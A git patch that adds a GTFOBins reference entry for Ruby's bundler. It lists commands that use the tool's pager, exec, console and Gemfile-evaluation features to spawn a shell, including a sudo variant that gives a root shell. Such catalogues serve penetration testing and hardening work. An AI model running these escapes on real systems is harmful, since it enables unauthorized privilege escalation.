From 3104f1d971dd08559b921c1f1d537bb44de29e98 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 14 Mar 2020 23:17:09 +1100 Subject: [PATCH] Create bundler.md --- _gtfobins/bundler.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 _gtfobins/bundler.md diff --git a/_gtfobins/bundler.md b/_gtfobins/bundler.md new file mode 100644 index 0000000..b328739 --- /dev/null +++ b/_gtfobins/bundler.md @@ -0,0 +1,30 @@ +--- +functions: + shell: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply. + code: | + bundler help + !/bin/sh + - code: | + TF=$(mktemp -d) + touch $TF/Gemfile + cd $TF + bundler exec /bin/sh + - description: This spawns an interactive shell via [`irb`](/gtfobins/irb/). + code: | + TF=$(mktemp -d) + touch $TF/Gemfile + cd $TF + bundler console + system('/bin/sh -c /bin/sh') + - code: | + TF=$(mktemp -d) + echo 'system("/bin/sh")' > $TF/Gemfile + cd $TF + bundler install + sudo: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/man/), other functions may apply. + code: | + sudo bundler help + !/bin/sh +---